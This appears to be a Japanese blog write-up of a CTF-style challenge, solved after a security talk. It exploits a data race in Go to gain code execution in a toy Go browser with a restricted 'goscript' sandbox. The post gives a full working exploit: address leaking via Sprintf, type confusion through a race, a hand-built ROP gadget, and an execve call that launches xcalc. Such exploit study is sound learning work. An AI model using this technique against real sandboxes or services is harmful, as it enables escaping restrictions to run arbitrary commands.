はじめに
今日サイバーセキュリティ系LT会というのに参加したのですが、そこでhamaさんが発表されていたgoの処理系がunsafeな話が面白かったので、解説されていた問題を解こうと思います。 内容はgoには標準でdata raceが存在し、任意のgoコードが実行出来る場合は(importが限られていても)シェルを取れますよという話です。 これ系の話は何も分からんのですが、hamaさんとしふくろさんにexploitの流れを教えて貰ったので何とかなるやろ的に頑張ります。
今日のスライドhttps://t.co/9Wlfaw6kwO#みんなでサイバーセキュリティ
— 筋肉は一生の相棒 (@hama7230) 2020年1月12日
goのdata race
こんな感じで(goのdata raceに関する)PoCが上がっています。 今回はこれを使って電卓を立ち上げます。
問題概要
go製ブラウザもどきのソースコードが渡されます。 読むと、URLスキームとしてhttps, gomium, fileが対応しており、fileを使ってHTMLっぽいのを渡せます。 HTMLっぽいのというのは、タグはほぼ無視されてinnerHTMLがそのまま出力されるという雑な処理が書かれているからです。 ただ、scriptとして"goscript"が対応しており、中ではfmtパッケージをimportできます。 そのため、こんなHTMLを渡すと
<script type="text/goscript"> package main import "fmt" func main() { fmt.Println("Hello, World!") } </script>
こんな出力になります。
exploit
アドレスリーク
何事もアドレスが無いと始まらないのでアドレスリークします。 今回はfmtが許可されているのでSprintfで変数のアドレスを取ります。
func addrof(i interface{}) uint64 { s := fmt.Sprintf("%p", i)[2:] addr := uint64(0) for i := 0; i < len(s); i++ { addr *= 0x10 c := uint8(s[i:i+1][0]) if 0x30 <= c && c <= 0x39 { addr += uint64(c - uint8('0')) } else { addr += uint64(c - uint8('a') + 0xa) } } return addr }
gdbで確認します。
pwndbg> x/8xg 0xc00009e000 0xc00009e000: 0x000000c0000a0000 0x0000000000000002 0xc00009e010: 0x0000000000000002 0x0000000000000000 0xc00009e020: 0x000000c0000a0010 0x0000000000000001 0xc00009e030: 0x0000000000000001 0x0000000000000000
sliceはpointer, len, capの3つから成るので、正しそうです。ポインタには入れた整数値が入っていました。
pwndbg> x/4xg 0x000000c0000a0000 0xc0000a0000: 0x00000000deadbeef 0x00000000cafebabe 0xc0000a0010: 0x00000000fee1dead 0x000000c00009e000 pwndbg> x/4xg 0x000000c0000a0010 0xc0000a0010: 0x00000000fee1dead 0x000000c00009e000 0xc0000a0020: 0x3065393030303063 0x00000000300a3032
data race
とりあえずPoCと同じものを書いて試します。Printfで変数を使わないと変数が(最適化っぽいもので)変なところに行ってdata raceに失敗します。
func main() { /* data race */ pp := uint64(0xffffffffffffffff) a := make([]*uint64, 2) b := make([]*uint64, 1) target := new(fptr) fmt.Printf("%v, %v, %v\n", a, b, target) confused := b go func() { for { confused = a func() { if i >= 0 { return } fmt.Println(confused) }() confused = b i++ } }() for { func() { defer func() { recover() }() confused[1] = &pp }() if target.f != nil { target.f() } } }
動いています。
$ go run solve.go [<nil> <nil>], [<nil>], &{<nil>} unexpected fault address 0xffffffffffffffff fatal error: fault [signal SIGSEGV: segmentation violation code=0x1 addr=0xffffffffffffffff pc=0xffffffffffffffff]
登壇者のhamaさんのPoCでは、これを使ってAAR/AAWを実現していましたが、今日はもう眠いので直接ROPします。
Bring Your Own Gadgets
goコードはもちろんコンパイルされて機械語になるので、実行可能領域に置かれます。 ということは、整数値を代入するようなコードを書いておくと、その整数値の部分をROP gadgetやshellcodeとして使えます。 今回はここにROP gadgetを書きます。
まずexecveの引数をこんな感じで用意します。これxcalc立ち上げるためには環境変数DISPLAYを用意しないとダメなんですね。(Can't open displayって言われた。)
args := make([]uint64, 8) args[0] = 0x6e69622f7273752f /* /usr/bin/xcalc */ args[1] = 0x0000636c6163782f args[2] = 0x3d59414c50534944 /* DISPLAY=:0 */ args[3] = 0x000000000000303a args[4] = addrof(&args[0]) args[5] = 0 args[6] = addrof(&args[2]) args[7] = 0
次にROP gadgetを書いておきます。
func rop_gadget() { var s uint64 s = 0x050f5a5e5f5859 /* pop rcx, rax, rdi, rsi, rdx; syscall; */ fmt.Printf("%v\n", s) }
goはスタックに引数を詰むのでいい感じにpopしてくれます。
target.f(59, addrof(&args[0]), addrof(&args[4]), addrof(&args[6]))
実行します。
感動した。 gomiumのgoscriptから実行してもちゃんと電卓が立ち上がりました。
全体像
こんなんになりました。
package main import "fmt" var win = false var i = 0 type fptr struct { f func(w uint64, x uint64, y uint64, z uint64) } func addrof(i interface{}) uint64 { s := fmt.Sprintf("%p", i)[2:] addr := uint64(0) for i := 0; i < len(s); i++ { addr *= 0x10 c := uint8(s[i:i+1][0]) if 0x30 <= c && c <= 0x39 { addr += uint64(c - uint8('0')) } else { addr += uint64(c - uint8('a') + 0xa) } } return addr } func rop_gadget() { var s uint64 s = 0x050f5a5e5f5859 /* pop rcx, rax, rdi, rsi, rdx; ret; */ fmt.Printf("%v\n", s) } func main() { /* prepare arguments */ args := make([]uint64, 8) args[0] = 0x6e69622f7273752f /* /usr/bin/xcalc */ args[1] = 0x0000636c6163782f args[2] = 0x3d59414c50534944 /* DISPLAY=:0 */ args[3] = 0x000000000000303a args[4] = addrof(&args[0]) args[5] = 0 args[6] = addrof(&args[2]) args[7] = 0 fmt.Printf("filename: %x\n", addrof(&args[0])) fmt.Printf("argv: %x\n", addrof(&args[4])) fmt.Printf("envp: %x\n", addrof(&args[6])) /* ROP gadget */ pp := addrof(rop_gadget) + 0x23 fmt.Printf("ROP gadget: 0x%x\n", pp) fmt.Scanf("%d") /* data race */ a := make([]*uint64, 2) b := make([]*uint64, 1) target := new(fptr) fmt.Printf("%v, %v, %v\n", a, b, target) confused := b go func() { for { confused = a func() { if i >= 0 { return } fmt.Println(confused) }() confused = b i++ } }() for { func() { defer func() { recover() }() confused[1] = &pp }() if target.f != nil { target.f(59, addrof(&args[0]), addrof(&args[4]), addrof(&args[6])) } } }